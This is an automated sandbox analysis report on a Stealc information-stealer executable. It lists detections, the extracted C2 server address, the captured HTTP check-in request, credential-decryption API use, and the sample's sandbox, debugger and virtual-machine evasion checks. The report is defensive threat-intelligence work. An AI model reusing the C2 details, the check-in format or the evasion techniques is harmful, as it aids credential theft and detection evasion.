Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1529173
MD5:	1666bdf952c77a910f9c69f491d5cc4b
SHA1:	e761daca0c544764e242bc6a2c17cbedc8c15c8c
SHA256:	4996064a6dc50f76d60d6aa783d5baafa7260930c0318f0762ba5c64f67ced64
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7048 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1666BDF952C77A910F9C69F491D5CC4B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1706081897.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7048	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7048	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.fa0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T17:32:02.906806+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.fa0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00FAC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FA9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00FA7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FA9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00FB8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FAE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FB4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FAED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FA16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FAF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FB3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FADE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 31 44 39 38 42 41 38 38 41 44 32 33 32 32 36 39 35 39 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="hwid"AF1D98BA88AD2322695909------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="build"doma------HJDBAFIECGHCBFIDGDAA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FA4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00FA4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 31 44 39 38 42 41 38 38 41 44 32 33 32 32 36 39 35 39 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="hwid"AF1D98BA88AD2322695909------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="build"doma------HJDBAFIECGHCBFIDGDAA--

Source: file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/?2
Source: file.exe, 00000000.00000002.1746507563.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php$
Source: file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)2
Source: file.exe, 00000000.00000002.1746507563.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3/
Source: file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa-7368302a1ad4
Source: file.exe, 00000000.00000002.1746507563.0000000000933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpu2
Source: file.exe, 00000000.00000002.1746507563.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpw/
Source: file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37LjG30S

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116	0_2_01381116
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012D611B	0_2_012D611B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139F1AB	0_2_0139F1AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137198C	0_2_0137198C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137F010	0_2_0137F010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013768E2	0_2_013768E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01274B01	0_2_01274B01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01378342	0_2_01378342
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01337BBE	0_2_01337BBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137BA0D	0_2_0137BA0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01291AF4	0_2_01291AF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013F0521	0_2_013F0521
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137343B	0_2_0137343B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01367CBF	0_2_01367CBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136E486	0_2_0136E486
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012B2F2D	0_2_012B2F2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136FF7E	0_2_0136FF7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136C7F6	0_2_0136C7F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01237FE2	0_2_01237FE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01379E92	0_2_01379E92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01374E82	0_2_01374E82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0133E684	0_2_0133E684

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00FA45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: pvatzxoj ZLIB complexity 0.9949661905731635

Source: file.exe, 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1706081897.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00FB8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00FB3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\7LST3YBV.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1885184 > 1048576

Source: file.exe

Static PE information: Raw size of pvatzxoj is bigger than: 0x100000 < 0x1a6000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.fa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pvatzxoj:EW;ilwoqlxb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pvatzxoj:EW;ilwoqlxb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FB9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ce7fa should be: 0x1dbeb3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pvatzxoj
Source: file.exe	Static PE information: section name: ilwoqlxb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139813E push eax; mov dword ptr [esp], ecx	0_2_01398148
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143F944 push ecx; mov dword ptr [esp], ebp	0_2_0143F963
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143F944 push 0DF4D69Fh; mov dword ptr [esp], ebp	0_2_0143F985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push eax; mov dword ptr [esp], esi	0_2_0138116D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 3120CB4Dh; mov dword ptr [esp], ecx	0_2_01381180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 6878058Dh; mov dword ptr [esp], esi	0_2_01381193
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 1D978808h; mov dword ptr [esp], ecx	0_2_013811F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 792926E5h; mov dword ptr [esp], edx	0_2_01381214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edx; mov dword ptr [esp], eax	0_2_01381280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ecx; mov dword ptr [esp], esi	0_2_0138137F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edi; mov dword ptr [esp], esp	0_2_01381386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edx; mov dword ptr [esp], 5AB653EAh	0_2_01381459
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ecx; mov dword ptr [esp], eax	0_2_01381492
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 1B516881h; mov dword ptr [esp], ecx	0_2_013814CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ecx; mov dword ptr [esp], 02046AA4h	0_2_01381528
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 05F1F7BBh; mov dword ptr [esp], edi	0_2_0138161E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ebx; mov dword ptr [esp], esi	0_2_01381676
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edi; mov dword ptr [esp], ecx	0_2_013816BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ebp; mov dword ptr [esp], edi	0_2_013816D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edi; mov dword ptr [esp], esi	0_2_01381718
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ebx; mov dword ptr [esp], 3455C177h	0_2_0138174D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 1E0852C6h; mov dword ptr [esp], eax	0_2_0138176A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ebp; mov dword ptr [esp], eax	0_2_01381793
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edi; mov dword ptr [esp], 000014D4h	0_2_01381810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ecx; mov dword ptr [esp], esp	0_2_01381822
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ebx; mov dword ptr [esp], 19483A00h	0_2_01381836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push edx; mov dword ptr [esp], ebx	0_2_013818B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push esi; mov dword ptr [esp], edx	0_2_0138192B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push eax; mov dword ptr [esp], edi	0_2_0138193B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push ebp; mov dword ptr [esp], 08A2A946h	0_2_01381968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01381116 push 6100148Fh; mov dword ptr [esp], edx	0_2_01381990

Source: file.exe

Static PE information: section name: pvatzxoj entropy: 7.953433050296438

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00FB9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13747

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201A16 second address: 1201A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201A1A second address: 1201A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201A20 second address: 1201A25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368DA2 second address: 1368DBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE14h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368DBB second address: 1368DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FFAE90574C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384E3C second address: 1384E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13850C1 second address: 13850C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
